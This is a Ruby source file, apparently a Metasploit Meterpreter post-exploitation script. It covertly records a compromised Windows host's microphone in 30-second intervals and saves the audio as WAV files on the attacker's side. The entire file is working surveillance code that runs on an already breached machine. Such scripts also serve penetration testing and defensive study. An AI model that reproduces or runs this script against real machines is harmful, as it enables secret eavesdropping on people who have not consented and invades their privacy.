110 lines
3.4 KiB
Ruby
110 lines
3.4 KiB
Ruby
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
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#-------------------------------------------------------------------------------
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################## Variable Declarations ##################
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@client = client
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log_folder = nil
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intervals = 1
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data = nil
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# 30 second durations to keep data moved small and minimize problems.
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duration = 30
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@exec_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu." ],
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"-l" => [ true , "Specify a alternate folder to save sound files to."],
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"-i" => [ true , "Number of 30 second intervals to record."]
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)
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meter_type = client.platform
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################## Function Declarations ##################
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# Usage Message Function
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#-------------------------------------------------------------------------------
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def usage
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print_line "Meterpreter Script for recording in intervals the sound capture by a target host microphone."
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print_line(@exec_opts.usage)
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raise Rex::Script::Completed
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end
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# Wrong Meterpreter Version Message Function
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#-------------------------------------------------------------------------------
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def wrong_meter_version(meter = meter_type)
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print_error("#{meter} version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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# Function for creating log folder, returns path of folder.
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#-------------------------------------------------------------------------------
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def log_folder_create(log_path = nil)
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#Get hostname
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host = @client.sys.config.sysinfo["Computer"]
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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if log_path
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logs = ::File.join(log_path, 'logs', "sound_recorder", host + filenameinfo )
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else
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logs = ::File.join(Msf::Config.log_directory, "scripts", "sound_recorder", host + filenameinfo )
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end
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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return logs
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end
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# Function for converting a number of seconds to time in minutes
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#-------------------------------------------------------------------------------
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def convert_seconds_to_time(seconds)
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total_minutes = seconds / 1.minutes
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seconds_in_last_minute = seconds - total_minutes.minutes.seconds
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"#{total_minutes}m #{seconds_in_last_minute}s"
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end
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################## Main ##################
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@exec_opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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usage
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when "-l"
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if ::File.directory? val
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log_folder = log_folder_create(val)
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else
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print_error("Option provided #{val} is not a folder!")
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raise Rex::Script::Completed
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end
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when "-i"
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intervals = val.to_i
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end
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}
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# Check for Version of Meterpreter
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wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
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# Create Folder for logs and get path for logs
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if not log_folder
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log_folder = log_folder_create
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end
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print_status("Saving recorded audio to #{log_folder}")
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print_status("Recording a total of #{convert_seconds_to_time(intervals*30)}")
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(1..intervals).each do |i|
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# Set file name
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file_name = client.sys.config.sysinfo["Computer"] <<"_"<< i.to_s << ".wav"
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# Set path for file
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path = ::File.join(log_folder,file_name)
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# Record audio
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data = @client.webcam.record_mic(duration)
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# Check if we got data if not we error and exit
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if (data)
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::File.open( path, 'wb' ) do |fd|
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fd.write( data )
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end
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print_good( "\tAudio saved to: #{file_name}" )
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else
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print_error("There appeats a microphone is not present or muted!")
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raise Rex::Script::Completed
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end
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end
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